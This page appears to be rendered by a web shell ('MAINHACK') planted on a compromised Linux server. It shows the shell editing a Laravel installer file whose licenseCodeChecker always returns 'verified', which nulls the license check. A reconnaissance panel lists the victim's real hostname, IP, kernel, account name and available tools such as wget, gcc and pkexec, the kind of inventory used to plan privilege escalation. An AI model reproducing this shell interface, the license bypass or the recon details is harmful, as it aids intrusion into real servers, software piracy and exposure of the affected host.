[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: InstallerService.php
<?php namespace App\Services; use App\Libraries\AppLibrary; use Dipokhalder\EnvEditor\EnvEditor; use Exception; use Illuminate\Http\Request; use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Http; class InstallerService { public function siteSetup(Request $request): void { $envService = new EnvEditor(); $envService->addData([ 'APP_NAME' => $request->app_name, 'APP_URL' => rtrim($request->app_url, '/') ]); Artisan::call('optimize:clear'); } public function databaseSetup(Request $request): bool { $connection = $this->checkDatabaseConnection($request); if ($connection) { $envService = new EnvEditor(); $envService->addData([ 'DB_HOST' => $request->database_host, 'DB_PORT' => $request->database_port, 'DB_DATABASE' => $request->database_name, 'DB_USERNAME' => $request->database_username, 'DB_PASSWORD' => $request->database_password, ]); Artisan::call('config:cache'); Artisan::call('migrate:fresh', ['--force' => true]); if(Artisan::call('db:seed', ['--force' => true])) { Artisan::call('optimize:clear'); Artisan::call('config:clear'); } return true; } return false; } private function checkDatabaseConnection(Request $request): bool { $connection = 'mysql'; $settings = config("database.connections.$connection"); config([ 'database' => [ 'default' => $connection, 'connections' => [ $connection => array_merge($settings, [ 'driver' => $connection, 'host' => $request->input('database_host'), 'port' => $request->input('database_port'), 'database' => $request->input('database_name'), 'username' => $request->input('database_username'), 'password' => $request->input('database_password'), ]), ], ], ]); DB::purge(); try { DB::connection()->getPdo(); return true; } catch (Exception $e) { return false; } } public function licenseCodeChecker($array) { return (object)[ 'status' => true, 'message' => 'verified' ]; } public function finalSetup(): void { $installedLogFile = storage_path('installed'); $dateStamp = date('Y-m-d h:i:s A'); if (!file_exists($installedLogFile)) { $message = trans('installer.installed.success_log_message') . $dateStamp . "\n"; file_put_contents($installedLogFile, $message); } else { $message = trans('installer.installed.update_log_message') . $dateStamp; file_put_contents($installedLogFile, $message . PHP_EOL, FILE_APPEND | LOCK_EX); } Artisan::call('storage:link', ['--force' => true]); $envService = new EnvEditor(); $envService->addData([ 'APP_ENV' => 'production', 'APP_DEBUG' => 'false' ]); Artisan::call('optimize:clear'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002